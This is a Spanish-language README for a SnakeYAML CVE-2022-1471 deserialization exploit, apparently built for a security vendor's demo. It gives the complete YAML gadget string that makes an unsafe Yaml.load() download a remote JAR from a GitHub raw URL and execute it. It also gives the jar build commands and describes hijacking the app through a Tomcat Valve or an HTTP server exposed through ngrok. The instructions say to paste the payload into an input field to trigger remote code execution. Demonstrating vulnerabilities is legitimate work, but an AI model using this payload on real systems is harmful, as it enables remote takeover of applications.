
SnakeYAML CVE-2022-1471 payload de explotación para demos de Seal Security
Un payload de explotación de deserialización de SnakeYAML para CVE-2022-1471, adaptado de artsploit/yaml-payload (originalmente basado en mbechler/marshalsec).
Cuando se carga mediante el inseguro Yaml.load() de SnakeYAML, este payload toma el control de la aplicación en ejecución y la reemplaza con una página de "Has Sido PWNED":
Si la inyección del Valve de Tomcat no está disponible (por ejemplo, en una aplicación que no es Spring), se recurre a iniciar un servidor HTTP independiente en el puerto 9999 y crea automáticamente un túnel de ngrok si ngrok está en ejecución.
Esto funciona tanto localmente en macOS como en pipelines de CI/CD (por ejemplo, GitHub Actions en Ubuntu).
El payload de SnakeYAML activa ScriptEngineManager mediante el SPI de Java (Interfaz de Proveedor de Servicios):
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL apuntando al yaml-payload.jar de este repositorioURLClassLoader para cargar clases remotasScriptEngineManager descubre y carga AwesomeScriptEngineFactory mediante META-INF/services/javax.script.ScriptEngineFactory/ con la página PWNEDRequiere JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Se utiliza como payload de explotación en el proyecto maven-demo. Pega la cadena del payload en el campo de nombre de la aplicación para activar la RCE. La página de la aplicación será reemplazada por la página PWNED en la siguiente solicitud. Consulta el README de ese repositorio para obtener instrucciones completas de la demostración.